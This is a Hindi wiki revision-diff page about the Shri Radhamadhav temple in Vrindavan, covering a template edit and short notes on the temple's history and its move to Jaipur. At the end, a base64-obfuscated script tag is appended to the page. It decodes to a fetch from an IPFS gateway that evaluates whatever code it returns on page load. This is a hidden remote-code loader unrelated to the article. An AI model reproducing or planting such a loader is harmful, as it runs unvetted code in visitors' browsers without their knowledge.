"श्री राधामाधव का मन्दिर वृन्दावन" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "{{लेख प्रगति" to "{{प्रचार}} {{लेख प्रगति")
छो (Text replace - "{{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "{{लेख प्रगति |आधार= |प्रारम्भि�)
 
पंक्ति 4: पंक्ति 4:
  
 
{{प्रचार}}
 
{{प्रचार}}
{{लेख प्रगति
+
{{लेख प्रगति |आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
|आधार=आधार1
 
|प्रारम्भिक=
 
|माध्यमिक=
 
|पूर्णता=
 
|शोध=
 
}}
 
  
 
==संबंधित लेख==
 
==संबंधित लेख==

07:30, 27 जुलाई 2012 के समय का अवतरण

  • श्री गोकुलानन्द मन्दिर के उत्तर में भ्रमरघाट के ऊपर प्राचीन यमुना तट पर एक प्राचीन मन्दिर में श्री जयदेव गोस्वामी के द्वारा सेवित श्रीराधामाधव जी विराजमान थे।
  • अब वे जयपुर में घाटी नामक पर्वतीय स्थान में एक बृहद मन्दिर में सेवित हो रहे हैं जो जयपुर का प्रमुख दर्शनीय मन्दिर है।
  • श्री राधामाधव मन्दिर के ईशान-कोण में श्री युगलकिशोर का विशाल मन्दिर शिखर-रहित अवस्था में पड़ा हुआ है (जिसे कनक वृन्दावन कहते हैं)।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>